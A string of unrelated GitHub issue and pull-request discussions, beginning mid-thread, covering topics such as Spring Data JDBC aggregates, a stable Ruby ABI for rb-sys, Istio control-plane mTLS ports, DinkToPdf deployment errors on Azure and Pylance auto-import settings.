but again this will break the existing flow so need to accumulate with some other flow / annotations.

This is almost certainly not a One-to-One relationship. That would imply that for every User there is a distinct UserType.
It seems more like you expect multiple User entities to reference the same UserType. This makes UserType a separate aggregate from User and as such it should be referenced by ID not by reference in your domain model.
A good test if UserType is part of the User aggregate is, if the UserType should get deleted when you delete a User if the answer is no, it's a separate aggregate.
For more detailed information about references between aggregates in Spring Data JDBC see: https://spring.io/blog/2018/09/24/spring-data-jdbc-references-and-aggregates
This limitation is one of the most fundamental design decisions of Spring Data JDBC and is essential to make it easy to understand. We will therefore not change it.

Note that proper One-to-One relationships within a single aggregate work just fine.

Thanks for the reply, I will check the aggregate option


add support for TTL and time/interval formats in actor timers/reminders

This feature has been implemented in Dapr runtime: dapr/dapr#2906
It needed to be available via the SDK.

not stale


Improve setup instructions, fix deprecated type

Thanks for showcasing how to use Bun! As a bun enthusiast, I thought I'd contribute to the repo by making it more accessible.
Changes

Improve setup instructions by itemizing, using section names, and adding Torso instructions. This makes it clear to the user that they need to setup Torso in order to be able to run this project.
Fix deprecated type from InferModel to InferSelectModel. This addresses the deprecation from<EMAIL_ADDRESS>Add bun run dev script to easily run the app
Add bun run lint script for convenience, using the super-fast linter from oxc, a recommended toolkit for the BETH stack.

I'm so sorry @yamcodes, I only saw your pull request now after you canceled it. I hope you can contribute again so I can merge it into my repository


Edit profile

logic for button "Potwierdz zmiany" and "Usun konto" in EditProfile.
"Potwierdz zmiany" can create new user (registration) or save changes if profile already exists.
"Usuń konto" is a soft delete for existing account.

Uploading photos is not addressed here. You're expecting URL, but from where? Frontend? I guess no.
Other thing is, by deleting existing endpoint for checking email, you made sagas unuseable without changes, not to say, there's none method that can replace old one.

Still don't know how to handle uploading images, on front or back end, so it is a temporary solution. I need a talk about it. Endpoint for saga will come back in a minut.

Pushed my changes, imho it can be merged but leaving this for further review

looks fine


Remove unnecessary else

This PR:

Removes unnecessary else statements. Since you're returning in the above if block, the else isn't needed and a simple if will suffice.

Merged with 4fee7bb9fcad815120f19096e2cccc57bd3c6833.


Infinite scroll in asset folders

As a user I would like the CMS to automatically load items as I scroll down
Consider the gradual loading of items (eg. fade in)
Include a loading indicator
Can we include a exact/approximate number of items in each folder?

Moved to https://github.com/silverstripe/silverstripe-asset-admin/issues/181


Plagiarism checks : 403 when trying to run plagiarism checks while being tutor and editor

Describe the bug
When trying to run plagiarism checks in a course I'm both tutor and editor in, I get the following error. This doesn't happen when you're additionally assigned instructor rights.

To Reproduce

Open exercises details page
Click "Check Plagiarism"
Open Dev Tools
Click "Detect Plagiarism"

Expected behavior
Plagiarism checks run sucessfully
Screenshots
No response
What browsers are you seeing the problem on?
Chrome
Additional context
user ge75pub in course id 169
Relevant log output
No response

Logging in and out seems to fix this issue

If users get additional roles, they need to logout and login again to synchronize the rights in the JWT token.
Probably, this was missed here. I double checked the code and don't see a reason why it should work for some, but not all editors.


Support link in Chrome Web Store doesn't work

From the extension page in the CWS, https://chrome.google.com/webstore/detail/chrome-user-experience-su/hgimloonaobbeeagepickockgdcghfnn/support, the "support site" link points to https://docs.google.com/document/d/17yc9Z4u5AtU5ZA1agjI8e5tu0rU4bUNmHM12AgeScs4/edit which is a private doc.
Expected behavior: Support link should point to a public page with more information about the CUES extension and study, possibly with a way to leave feedback/ask questions.

@egmorant I can't assign this one to you b/c you aren't a github project member, but can you take care of this pls?

I created a new, public survey: https://docs.google.com/document/d/1OzJE6grqhDgHYnMHOgOH0tPujYfPKFTWFZjO56FbmuE/edit#heading=h.57jf4sio3gb9
I tried updating the extension but am seemingly unable to republish without paying the fee.

Can you go to File > Publish to the Web and share that link instead? Then I can republish.

https://docs.google.com/document/d/1OzJE6grqhDgHYnMHOgOH0tPujYfPKFTWFZjO56FbmuE/pub

Pushed.


Nuxt3 Support

Hi there.
How I could get support for nuxt3?
I try to register client-side plugin for nuxt3  (because clint&server-side  plugin get error about document is not defined) and use your code example, but I fail:

Maybe you could help? :eyes:

@tzfun you mean if I use Client Only Component I could run it on nuxt 3? Because, I expect what client sideplugin should execute only on client side, that means what he should work.
I also try test this a bit later


Update name of webhook

Issue #, if available:
Description of changes:
The Service name doesn't support starting with a number, so changing the name. However, if we still want to include the number for the mutatingwebhookconfiguration resource, we can append that to the name of that resource or split up the naming in values.
Took an initial look into why the linting isn't catching the fact that this PR isn't modifying the version in Chart.yaml, but couldn't find anything. Will look more into it later.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/lgtm


Add initial implementation of a stable ABI

As part of #227, this PR implements a the basis for a stable ABI for Ruby on Rust. For companies that run ruby-head in production, ABI instability is a serious priority, since without having stability it's hard (if not impossible) to test out certain changes to Ruby.
This can be incredibly disruptive to both Ruby core, as well as Rust gem authors. The goal here is to always Just Work™ with ruby-head, but without sacrificing performance on stable Ruby.
The core idea consists of two main parts.
1) C Macro + Inline Function Support
In Rust, we don't get access to the suite of Ruby C macros or inline functions in libruby. So we have to either:

a) implement them by hand (most performant, benefits from rustc inlining, etc)
b) compile some C glue code to call into (compatible with unstable Ruby ABI like ruby-head)
c) both

This PR makes it so rb-sys does both, so we get the best of both worlds. On known stable versions of Ruby, we use the hand-written Rust implementations of the Ruby macros. On ruby-head, we use the compiled C glue code.
2) Make internal Ruby data structures opaque
This PR also adds a new stable-abi feature for rb-sys, which will make the internal layout of various Ruby structs opaque (i.e. RString and RArray). With this feature enabled, it will become impossible for upstream crates to have ABI instability when using the opaque struct.
For now, this feature is off by default (with some deprecation warnings) to allow for adoption (with. In v1.0, it will be enabled by default.

Sorry if this is a bit scattered. I've a bunch of thoughts about this but not the time to write them up as one coherent message.
The core idea, provide Rust implementations of C macros/inline functions, and link to the C stubs of the same, totally seems like a reasonable one. However.

My understanding is that ABI (Application Binary Interface) is the interface to the binary code of a precompiled library. So with a stable ABI you can dynamically link to a library and not worry about the exact version. For example Ruby 3.2.0 and Ruby 3.2.2 have the same ABI, an extension gem compiled against 3.2.0 will continue to work with 3.2.2 without having to recompile it.
API (Application Programming Interface) is the interface as described by the source code.
You can have a change that doesn't break the ABI while it does break the API, for example:
struct user {
    char *name;
    // unused, must be filled with 0
    void *reserved[7];
}

and
struct user {
    char *name;
    char *address;
    // unused, must be filled with 0
    void *reserved[6];
}

are ABI compatible as they are the same size, and the name field doesn't move. Something that was compiled against the first version doesn't realise the address field exists, but it still works. However recompiling code written for the first will break.
From my understanding (which is not that of an expert, so plenty of opportunity for me to be wrong) I believe the change that kicked off this issue was ABI stable (as noted in the commit, the location of len in memory doesn't change), but a breaking change in the API.
Even with the docs that have been added to Ruby's API it's still so hard to understand the intention behind a lot of stuff, but I'm working under the assumption that Ruby's RString struct and it's fields are part of the public API. It's possible that's something that developers of Ruby would prefer they can take back, but as far as I can tell they've not decided to do that yet.
My understanding is the internal in ruby/include/ruby/internal/core/rstring.h is saying that the name/location of the header file isn't intended to be public, that instead the public interface to to include ruby/ruby.h/ But that includes .../rstring.h, so you get all the same stuff.
There are other structs, RStruct for example, that are opaque to the public API, so I don't think it's a case C not providing the tools to make RString opaque.
I do worry that this is a whole lot of work to get nowhere. What happens when there's a Ruby API change in head that say just removes a function that was unarguably public in the past? Doesn't that just break in exactly the same way and this does nothing to address that?

On a completely different topic, Cargo features should always be additive, as when a library is compiled Cargo sums up all the features of all the crates in the current project and compiles once with all the features enabled. If a feature takes things away, then one dependency can enable it and break another dependency that was relying on the feature not being enabled.

It seems to me that low-level bindings should hew as closely as possible to the original C API, hiding details because it's easy to use in a way that could break seems like something for a higher level library.

Personally I would prefer the fallback to C macro/inline stubs to be off by default so people have to explicitly opt-in to the potentially significantly slower C stubs, rather than things get mysteriously slower when they upgrade Ruby.

This does make rb-sys a bigger dependency for mr (magnus is pretty low on direct dependencies, and I like it like that), and move some stuff out of my direct control (so say there's a bug in the code in question, right now I can just fix it and do a release of magnus, that changes if it moves to rb-sys). Which makes me a little reticent, but that's probably just me being too emotionally attached to the thing I built.

I'd be much happier with:

swap ABI to API (or better educate me on which is which)
C macro/inline stubs behind a feature (so dependency on C compiler etc can be disabled and no surprise slowness)
don't make RString/RArray structs opaque (or if you do, arrange it so they are opaque, but there's a default feature that gives you full access (and that feature won't be deprecated), that way people who want the compiler errors if they accidentally use it can turn off that feature, but you don't fall into the subtractive features trap)

Ok so @k0kubun graciously took some time to help answer the question about public fields in RString, etc:

I need to look at some docs to answer the first one, but I have a theory about why the second one is like that. I think we want C extensions to access the fields efficiently by using a C macro rather than making a regular C function call since that’d be relatively more frequent than method calls on those objects.
and to make C macros work, their definition should be usable as is; so the fields must be exposed.
To hide the details we want to hide, we would lose performance in C extensions.
Since it’s not mentioned in the docs, you can quote me on fact that C macros need to see the definition of those structs, which we would ideally like to hide but don’t for performance reasons.

Ok so (I believe) I’ve implemented some of the suggestions regarding renaming and opaqueness @matsadler.
For the opaqueness thing, I think for 0.9 I’ll have to remove the unstable-api feature altogether so extensions on Magnus v0.5 can make use of these changes once it’s implemented upstream. This means the default exported bindings will always contain the internal deprecated struct fields.
The opaque structs will be accessible still at rb_sys::bindings::stable. For 1.0, I’d be delighted to have the the rb_sys::bindings::stable be exported from the root, but make it so bindings::unstable will always be accessible if needed (for break-glass-in-case-of-emergency situations).
As for feature-flagged compilation, I described the issues in https://github.com/oxidize-rb/rb-sys/pull/229#issuecomment-1598964944. If you have some time, let me know what you think about it, and potential solutions that you see that I may have overlooked.
Want to get this into a place that everyone is happy with, so please don’t hesitate to leave more comments/concerns here (however big or small they may be). ❤

Ok so @k0kubun graciously took some time to help answer the question about public fields in RString, etc:

I think we want C extensions to access the fields efficiently by using a C macro rather than making a regular C function call since that’d be relatively more frequent than method calls on those objects.
and to make C macros work, their definition should be usable as is; so the fields must be exposed.
To hide the details we want to hide, we would lose performance in C extensions.
Since it’s not mentioned in the docs, you can quote me on fact that C macros need to see the definition of those structs, which we would ideally like to hide but don’t for performance reasons.

Ah, I see, RStruct can be private because the accessors to internal state (e.g. RSTRUCT_GET) are inline functions, whereas RString still has some macros as part of its api?

C macro/inline stubs behind a feature (so dependency on C compiler etc can be disabled and no surprise slowness)

This one is tough. We really do need to have things "just work" with Ruby head which we cannot know ahead of time. To give a concrete reason of why this is important, we have multiple gems unable to ship gem upgrades on the core monolith and SFR. This caused disruption for both our Ruby core team and Rust gem authors.

From my perspective testing against Ruby head is very very uncommon. It's just waisting dev/CI time downloading and compiling that cc crate for every user of rb-sys outside of Shopify. Plus I can imagine the amount of effort that someone could go to in diagnosing why their app got slower when they upgraded Ruby, only to find a dependency of a dependency is written in Rust and needs to be updated.
If the C fallback was behind a feature it seems like it'd be really easy to add rb-sys = { version = "*", features = "c-fallback" } to your gems' Cargo.toml, which would then enable it transitively for all dependencies.

From my perspective testing against Ruby head is very very uncommon.

For applications, I think you are right. It's rare. However, applications typically use published versions of Rust gems which are typically precompiled binaries anyway. So there's not compilation overhead there.
For Rust gems, not testing native extensions against ruby-head is an anti-pattern, IMO. In the end it makes it much harder to test and measure development features in Ruby head which the entire Ruby community benefit from.

It's just waisting dev/CI time downloading and compiling that cc crate for every user of rb-sys outside of Shopify.

I wanted to measure the impact of the CC crate on compilation times to see how big of a concern this might be. In the oxi-test repo, here are the numbers I get:

Overall its a 700ms-ish, of which only a small portion is blocking. From eyeballing it, the cost ends up being on the order of 100-200ms.
On top of that, cc often ends up being a transitive dependency in crates, which means there is no compilation extra cost.

Plus I can imagine the amount of effort that someone could go to in diagnosing why their app got slower when they upgraded Ruby, only to find a dependency of a dependency is written in Rust and needs to be updated.

Going to get some more precise numbers for this, but anecdotally our largest internal gems there was no noticeable difference in performance (despite fairly heavy usage of as_str and such)
The alternative would be to use an outdated Rust implementation of the Ruby macro which could go one of three ways:

Work perfectly
Fail to compile due to breaking changes
Be subtly incorrect and induce safety issues

So overall I think the slightly slower implementation.

That being said, it should be pretty easy to nuke the cc dep and just use std::process if that would help ease concerns?

The cc dependency is now gone ✌🏻

Alright, so after thinking on what @matsadler said, I've decided to make the compiled C fallback optional (behind a stable-abi-compiled-fallback feature flag or --cfg=rb_sys_use_stable_api_compiled_fallback). This makes it easy to toggle on when required without risking unintended slowdowns, etc.
With that all said and done, I think this is close to being good to go. Just testing out a few more things on some gems in prod.

The windows failures are unrelated, and will be fixed in #221. Going to go ahead and merge this.
To be clear, this PR adds an opt-in stable-api with the ability to support ruby-head. It adds zero dependencie - in fact, it removes one! Typically, users should interact with the macros that are backed by this stable API (i.e. RSTRING_PTR, etc).
❤


Azure web app not working as expected??

Hi. I cannot seem to get the correct configuration for getting this to work on an azure web app. The web app is configured to run under 64bit and the library I am using is the 64 bit one. It works flawlessly on my local through localhost.  I have included the the three libwkhtmltox files needing to be present in the root of the directory where startup.cs is located. I have done that.
From Kudu I can see this....

my appsettings in my web app are this:

my vs .net core website looks like this

My error is this

AggregateException: One or more errors occurred. (An attempt was made to load a program with an incorrect format. (Exception from HRESULT: 0x8007000B))
DinkToPdf.SynchronizedConverter.Invoke(Func delegate)
DinkToPdf.SynchronizedConverter.Convert(IDocument document)
Any advice would be totally appreciated.

I got the same issue , works find on local but below error if deploy to Azure web. (using 64 bit dll)
System.BadImageFormatException: An attempt was made to load a program with an incorrect format.
Any chance you got this solved ?

I also have this issue. Does someone have an answer?

I got this solved by change to 32 bit dll

If Azure platform is 32 bit appservice, then it works fine if we use 32 bit dll.

I also have the same problem, tried both 32 and 64 bit version, nothing seems to be working...

I got this solved by change to 32 bit dll

Hi @tidusong, I have the same issue. If I change platform to 32 bit(x86) and build it, I can't run it locally. Could you provide your steps? Thank you very much.

If Azure platform is 32 bit appservice, then it works fine if we use 32 bit dll.

Hi @rajapc , do I need change local platform to x86 as well? Thanks.

Hey guys does anyone have any updates on this? I'm experiencing the same issue. On my local the 64bit library works, however in Azure only the 32bit works. Experiencing the same error as above:
An attempt was made to load a program with an incorrect format.
Does anyone have any thoughts on a way to include both libraries and have the function work out which it requires? Cheers!


stm32/i2c: try to unify v1, v2.

Recently we've unified most basic drivers like usart, spi across different peripheral versions, adding cfg's as needed. It turned out to be a good thing, considerably reducing code duplication.
i2c v1 and v2 look quite different, but perhaps it's still worth it to try to unify them.

not gonna happen, they're too different.


Image Sending

Added image receiving and sending ability to the server.
Please note that this update requires users to give terminal accessibility access in order to function properly.

Wow! This is amazing! I'm taking a look at this right now and I'll merge if it all works proper

Great thank you! So far I have found a few bugs that I am working on fixing, looks like the DatabaseController script fails to realize that the message has been sent. Wasn't really sure how to fix this. So I may end up disabling the check for just sending attachments. Otherwise it has been working great for me. Let me know if you find anything else!


fix: fix buggy bone creation log message due to typo

Honestly, this type of change doesn't need to be approved.

I thought as much, but I didn't want to break the agreed process without a formal agreement :P


ControlPlaneAuthPolicy gradual adoption

For pilot - and probably mixer, we need one port that is clear text and one that is MTLS (regardless of
default control plane auth policy),  plus the legacy ports for upgrade ( 8080 and 15003 which was used on 0.6 and in most cases is clear text,but can be MTLS if any user enabled control plane MTLS).
Current code seems to repeat the error we made with 15003, and flip MTLS based on the default setting - which prevents having a mix of secure/insecure and 'a-la-carte' adoption.

It actually depends on use case.
If we allow customers to flip the bit to turn on/off mTLS on pilot, i.e., the controlPlaneAuthPolicy flag, then we need to support what Costin mentioned, i.e., one http port and one https port so previous services can still talk to pilot.
If we don't allow customers to do this, then we won't even have this issue.
And Kuat, agree with what you said that we need a way to support mTLS only. However, if the answer to the above question is yes, i think it's of higher priority than support mTLS only.

I'm pretty sure the bit is no longer flippable without reinstalling the
istio system and/or the app.
On Fri, Apr 13, 2018 at 2:00 PM Tao Li<EMAIL_ADDRESS>wrote:

It actually depends on use case.
If we allow customers to flip the bit to turn on/off mTLS on pilot, i.e.,
the controlPlaneAuthPolicy flag, then we need to support what Costin
mentioned, i.e., one http port and one https port so previous services can
still talk to pilot.
If we don't allow customers to do this, then we won't even have this issue.
And Kuat, agree with what you said that we need a way to support mTLS
only. However, if the answer to the above question is yes, i think it's of
higher priority than support mTLS only.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/issues/4868#issuecomment-381259307, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AJGIxq3aACs5hIN59n8JUvbNy1XLchdYks5toRHxgaJpZM4TPQCM
.

But we can still flip it by reinstalling istio control plane, in this case, all previous services won't be able to talk to pilot (unless we support both http and https), right?
Actually once multiplexPort/TLS sniffing feature is done, we won't need a separate port any more. We can let pilot support 1) mTLS only 2) mTLS and http 3)http via policy. The solution will be cleaner.

Just throw out some ideas here. Can pilot provide a way to ask for the mode it uses (i.e a service on port 15123 that simply return NONE or TLS), and sidecar (or pilot agent and alike) can probe and restart itself with proper bootstrap config?

For 0.8: just have one port with MTLS on and one with MTLS off.
There is no use case for same port that may be either on or off depending on setting. We certainly need to support migration and mix of clients.
The user can chose to use control plane mtls per sidecar - if they really want to prevent non-MTLS we can probably add a flag and restart pilot with the non-mtls port disabled.  But we can worry about this for 1.0.
Short term I want to make sure we don't ship 0.8 with a 'maybe on, maybe off' port - we made that mistake in 0.6 already.

BTW - same applies to mixer - it must have 2 ports for any 'a-la-carte' adoption.

@costinm I believe this was delivered as part of 0.8?


Update GSON version to address security vulnerability

Hi team,
Would it be possible to increase the version of GSON to 2.8.9 to address this security vulnerability?
https://security.snyk.io/vuln/SNYK-JAVA-COMGOOGLECODEGSON-1730327
Cheers and thanks for reading.
Scott

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks for letting us know, we have replicated the PR and ran it through our pipeline so closing this now

Thanks for adding this in and for all your hard work on this project!


Vue Syntax Highlight 3.2.5 does not work in Siblime 3157

Installed the latest Sublime 3157, use Package control to install Vue Syntax Highlight 3.2.5. As a result .vue files are almost not highlighted.
The example is shown in the screenshot attached.

Does this issue also happen when the template tag is above the <script>?

yes, does not matter

Adding a semicolon after the last closing bracket (line 9 in @titovmaxim's example) solves this problem for now, I'd rather not have to add this to all my files though.

I can't seem to reproduce this

However, this seems to be because of the way sublime works, and the way the JavaScript standard has been implemented. You can see a reply by a dev who works on the Sublime JS sytnax here - https://github.com/vuejs/vue-syntax-highlight/issues/107#issuecomment-344721940
Essentially the ; is required at the end of an export statement even though most people don't use it. If it isn't placed, the export statement doesn't "end", and this messes up the interpreter.
I personally use the Babel sublime package, and I find that it works much better for vue's JS code , you have to install Babel extension and disable the builtin JS extension.

This has been fixed and new version will be released soon.

Not fixed

@Reeseman what version of sublime is this?


Consider giving an option to extend the height of each list?

I think the height of each list can be slightly taller: it would show more information in a more effective way. Thank you for the great work though! Such a bliss not having to scroll left/right to the edge of the world.

Good suggestion, but I don't have a page for options right now and probably won't be adding one. (I'm behind as it is on basic maintenance, especially since I'm not using the extension much anymore.)
However, this is a pretty easy code change if you want to clone the extension and modify your own copy. I don't know your experience level, so detailed instructions follow:

Go to https://github.com/natalieperna/layout-trello.
Click Download ZIP.
Extract it somewhere.
Open chrome://extensions/.
Check off "Developer Mode".
Click "Load unpacked extension..."
Navigate to and select the unzipped layout-trello directory.
Open css/layout.css with your favourite text editor.
On line 26, edit 40vh to whatever you want (40vh is 40% of the height of the viewport, so you might want 60vh).
Enjoy taller boards?

No longer considering this feature.

Thanks that worked but it overlaps the bottom row  how do I get the bottom row to move down


Update azure-rbac.md

Submitted via Learn Editor.

The yaml is not correct for the 'volume' section and will cause the api server to stop and unable to start.  I've provided a fixed version

apologies I think the markdown is not correct. Let me see if I can correct this

@JnHs
Can you review the proposed changes?
Important: When the changes are ready for publication, adding a #sign-off comment is the best way to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

Thanks for the fix @Rick-healy!
#sign-off

@rick-healy,
Thank you for contributing to this Azure documentation. Unfortunately, changes to Azure Arc content can't be accepted this week. The Skilling Content group is migrating this content to a new repository: azure-management-docs.
In the meantime, we are closing this PR and tagging it so that when the content is available in the new repo, we can follow up with new location information.
#label:"migrate-followup"
#please-close

@rick-healy
The migration has been paused, and changes to Azure Arc content can be accepted for now. Thanks for your patience!
#remove-label:"migrate-followup"


Going back to the app, after opening a post in the browser, shows you a wrong chart

This should be resolved with #190


wip: defender deployer

Proposed Changes

Issue found during the deployment: https://forum.openzeppelin.com/t/defender-dynamodb-error/22857


What has your experience been like using Yew?

We'd love to hear from all of you about your experience using Yew! If you could spare a few minutes, we have an anonymous survey here: https://yewstack.typeform.com/to/OR5rQG
Thank you!!

Results: https://github.com/yewstack/yew/wiki/Dev-Survey-[Spring-2020]


Capture unmatched lines

Essentially all unmatched lines will be placed inside the parse_fail attribute, i.e.
{
   "parse_fail":"unmatched line....rest of the line",
   "server":"myserver",
   "stack":"my-app-dev-01",
   "application":"my-app",
   "log_type":"apache.access",
   "time":"2017-01-16T23:06:49Z"
}

This will enable our analytics tools to pick up any pattern matching regexp issues.

Additional comments

Need test for this parameter
How about adding unmatched_tag for emitting unmatched lines to other tag, not including same EventStream.

Hi @repeatedly, I have implemented the tests for the new parameter, but the existing unit tests seem to fail randomly between the different ruby releases, and I've noticed when the CI runs again, those tests pass again.

Thanks!

Thanks for accepting the PR and merging it into the v.0.12 branch


Need better documentation of parameters and task logic

repo readme does not specify how curriculums alter these parameters
Basically need an easy way to on-board someone new, and understand how the curriculums are defined

Closing as redundant of #800


Why does it always show that the adapter failed to start?

This issue has been moved from a ticket on Developer Community.

[severity:It's more difficult to complete my work]

Original Comments
Feedback Bot on 1/4/2023, 10:50 PM:
(private comment, text removed)

Original Solutions
(no solutions)

Hi there, from looking at your logs:
 1> ERROR: Debug adapter error output: Python runtime state: core initialized
 1> ERROR: Debug adapter error output: LookupError: unknown encoding: PYTHONIOENCODING=UTF8
 1> ERROR: Debug adapter error output: Current thread 0x000037bc (most recent call first):
 1> ERROR: Debug adapter error output: <no Python frame>
 1> Cancelling outstanding request(s) with ID(s): 1
 1> ERROR: Debug Adapter did not respond to initial requests.
 1> ERROR: Unexpected error

seems like an issue with encoding. In debugpy source code both "utf-8" and "utf8" are used to retrieve the codec in different places. So it might be a case-sensitive issue. Could you try changing your encoding to lower case and see it that works? Thanks.

Actually, could you try running print(codecs.encode("abc", encoding='UTF8')) and see if that fails?


lxd.service doesn't start at boot.

I'm using Ubuntu 15.04 with lxd 0.18. After updating from 0.17 to 0.18 the lxd.service didn't start at boot.
systemctl status lxd.service shows:
Loaded: loaded (/lib/systemd/system/lxd.service; indirect; vendor preset: enabled)

That's normal, lxd is socket activated, the daemon will start when you first connect to it.
I still need to add another unit to poke the daemon if there's any auto-started containers or if the daemon is supposed to bind to the network though.

I've same configuration on my laptop. Updated from 0.17 to 0.18. The systemd unit on it shows.
Loaded: loaded (/lib/systemd/system/lxd.service; enabled; vendor preset: enabled)
The service get activated on boot and container autostart works. While on my work pc the service doesn't get activated until I do something like lxc list. Both are on the stable repository.

I've fixed the packaging yesterday and LXD 0.19 will contain the needed bugfixes to have activateifneeded work properly.


Unlock existentials with fixed associated types

This proposal is a step towards generalized existentials and focuses on adding support for values of existential type when the associated types are known and representable (fully concrete).
protocol P { associatedtype X }
protocol Q: P where X == Never {}

struct Conformer: Q {}

let foo: Q = Conformer() // OK

This proposal has been merged with the more general proposal on lifting the “Self or associated type” constraint on existentials  (#1176)

This proposal has been merged with the more general proposal on lifting the “Self or associated type” constraint on existentials  (#1176)


Second Level Domain

Q
A

Version
^5.6

Question
Is there any function I can use to get only the SLD of a \Pdp\Domain object or something like that?
I tried to use de getLabel(2) and getLabel(1), but they do not really worked for me.
Example:
Given the domain paduanton.dev.br or www.paduanton.digital I need a function that returns only paduanton.
Here is a solution to handle this:
            $domain    = $this->domain->getRegistrableDomain();
            $publicSuffix = $this->domain->getPublicSuffix();
            $domainSLD = str_replace('.' . $publicSuffix, '', $domain);
That works just fine, but does not look so good. Is there something better I can do with the library?

I would go with a simpler solution or at least a more readable one:
<?php

function fetchSecondLevelDomain($inputDomain): ?string
{
    $domain = $rules->resolve($inputDomain);
    if (!$domain->isResolvable()) {
        return null;
    }

    $publicSuffixLabelsCount = count(PublicSuffix::createFromDomain($domain));

    return $domain->getLabel($publicSuffixLabelsCount);
}

But a more general solution will land on the future v6 version.


[AppConfiguration] Expose com.azure.core.util.ClientOptions via Builder and implement applicationId in UserAgent for telemetry

Expose com.azure.core.util.ClientOptions via Builder and implement applicationId in UserAgent for telemetry

[x] Expose com.azure.core.util.ClientOptions via Builder and
[x] Take the Headers set by user in ClientOptions and set them on Http Request. We would have to make sure whatever the user passed in as Header, is not overwritten by the policies. So we should just add an AddHeadersPolicy after all other policies.
[x] Implement applicationId in UserAgent for telemetry
[x] Unit Test
Example PR :  https://github.com/Azure/azure-sdk-for-java/pull/13697/files#diff-860f082a6593b9a09fa1a4d4fd0b5cf7R105

Look epic for detail : https://github.com/Azure/azure-sdk-for-java/issues/15107

merge the changes in this PR. https://github.com/Azure/azure-sdk-for-java/pull/20182


Different fields in acronyms template

This page documents the CSV fields for the bulk import of acronyms. When you use the link:
Download acronyms template (.csv)
accessed on the page
https://admin.microsoft.com/Adminportal/Home?#/MicrosoftSearch/acronyms
then the fields are:
Acronym (Mandatory)
Expansion (Mandatory)
Url
Description
State (Mandatory)
Last Modified
Last Modified By
Id
the page lists:
Acronym (mandatory) | Expansion (mandatory) | Description | Source | State (mandatory)
which is correct?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8fd51764-80a7-b404-50bd-b492b193dab2
Version Independent ID: 62a6858b-81a3-bafa-4bcc-3bb2a951c654
Content: Manage Acronym answers in Microsoft Search
Content Source: MicrosoftSearch/manage-acronyms.md
Service: mssearch
GitHub Login: @jeffkizn
Microsoft Alias: jeffkizn

@SydneyWaterRat The fields mentioned on the .csv file downloaded from Admin center are the correct ones. On the document "Manage Acronyms answers in Microsoft search" it shows older fields which needs to be updated. Thanks for pointing this out, I will be working with my team to bring this update to the document soon. Thank for using our feature.

The documentation has been updated.


Auto import not working with quickfix for some package like "numpy" #3853

Description
I reopen the old issue:  https://github.com/microsoft/pylance-release/issues/3853, because using virtualenv does not solve the issue.
I am unable to auto import "numpy" using the quick fix feature in VSCode. The official documentation (https://code.visualstudio.com/docs/python/editing#_quick-fixes) shows an example of auto import for "numpy", but I am unable to reproduce this in my environment. When attempting to use the quick fix feature, no option to import "numpy" appears.  It suggests instead : from gettext import npgettext

As suggested in https://github.com/microsoft/pylance-release/issues/3853 ,  I have tried the following steps:
Create virtualenv
Switch to the new virtualenv in vscode
Activated the new virtualenv in terminal
Installed "numpy" package using pip
Attempted to use the quick fix feature to import "numpy as np" in my code, but no option to import "numpy" appears.
It does not work with poetry and conda too.
I would appreciate any assistance in resolving this issue.
Environment

Language Server version: Pylance language server 2023.1.30 (pyright bf8ec313) starting
OS and version: ManjaroLinux release 22
Python version: 3.10

Here is my settings.json
{
    "autoDocstring.docstringFormat": "numpy",
    "editor.renameOnType": true,
    "editor.fontSize": 17,
    "workbench.list.openMode": "doubleClick",
    "files.autoSave": "afterDelay",
    "editor.rulers": [
        100
    ],
    "editor.formatOnSave": true,
    "editor.codeActionsOnSave": {
        "source.organizeImports": true
    },
    "python.linting.flake8Enabled": true,
    "python.linting.pylintEnabled": false,
    "python.linting.enabled": false,
    "python.formatting.provider": "black",
    "editor.suggestSelection": "first",
    "vsintellicode.modify.editor.suggestSelection": "automaticallyOverrodeDefaultValue",
    "[python]": {
        "gitlens.codeLens.symbolScopes": [
            "!Module"
        ],
        "editor.wordBasedSuggestions": false
    },
    "vsicons.dontShowNewVersionMessage": true,
    "python.analysis.diagnosticSeverityOverrides": {
        "reportPrivateUsage": "error",
        "reportUnboundVariable": "information",
        "reportUnusedImport": "warning",
        "reportImportCycles": "warning"
    },
    "search.useIgnoreFiles": false,
    "search.exclude": {
        "**/.cache": true,
        "**/.ipython": true,
        "**/.jupyter": true,
        "**/.local": true,
        "**/.vscode": true,
        "**/.vscode-server": true
    },
    "files.watcherExclude": {
        "**/.cache/**": true,
        "**/.local/**": true,
        "**/.vscode-server/**": true,
        "**/.vscode/**": true
    },
    "editor.largeFileOptimizations": false,
    "python.analysis.autoImportCompletions": true,
    "python.analysis.packageIndexDepths": [
        {
            "name": "sklearn",
            "depth": 5
        },
        {
            "name": "matplotlib",
            "depth": 3
        },
        {
            "name": "scipy",
            "depth": 3
        },
        {
            "name": "numpy",
            "depth": 2
        },
        {
            "name": "django",
            "depth": 2
        }
    ],
    "security.workspace.trust.enabled": false,
    "python.analysis.autoImportUserSymbols": true,
    "python.languageServer": "Pylance"
}

After setting python.analysis.indexing: true in settings.json, it suggests as expected. So I close the issue.


How to show one country ?

Well you do that by specifying bounds and then moving the map to that location. It's not currently supported, but I'll implement that today

Could you provide me with more details about your issue? Do you need your initial view to show a certain country? (I.e. before the geolocation update)

Or do you want to limit the scrolling of your map to be in bounds of a certain country? Please provide more details about your use-case

Yes I want to limit the scrooling of map, in example only show city in indonesia

Okay, thanks for the feedback. Looking into it.

It seems that you cannot do that directly using Yandex MapKit. You might need to implement the check yourself (either by verifying the end address or by listening for the scroll event). All I can offer you is the ability to change the initial camera location (which gets re-positioned anyways as the user's location is determined)

OK, nice newest commit :+1:
Thanks you

Make apk big size, how to handle it?

        if (itemView.getContext().getResources().getBoolean(R.bool.show_confirmation_buttons) &&
                !mSearch) {
            btnSelect.setVisibility(View.VISIBLE);
            btnSelect.setOnClickListener(v -> listener.onPlaceSelected(place));
            itemView.setOnClickListener(v -> listener.onPlacePreviewed(place));
        } else {
            itemView.setOnClickListener(v -> listener.onPlaceSelected(place));
        }

btnSelect cant clicked, when bool.show_confirmation_buttons true/false,
you should put
else{
btnSelect.setOnClickListener(v -> listener.onPlaceSelected(place));
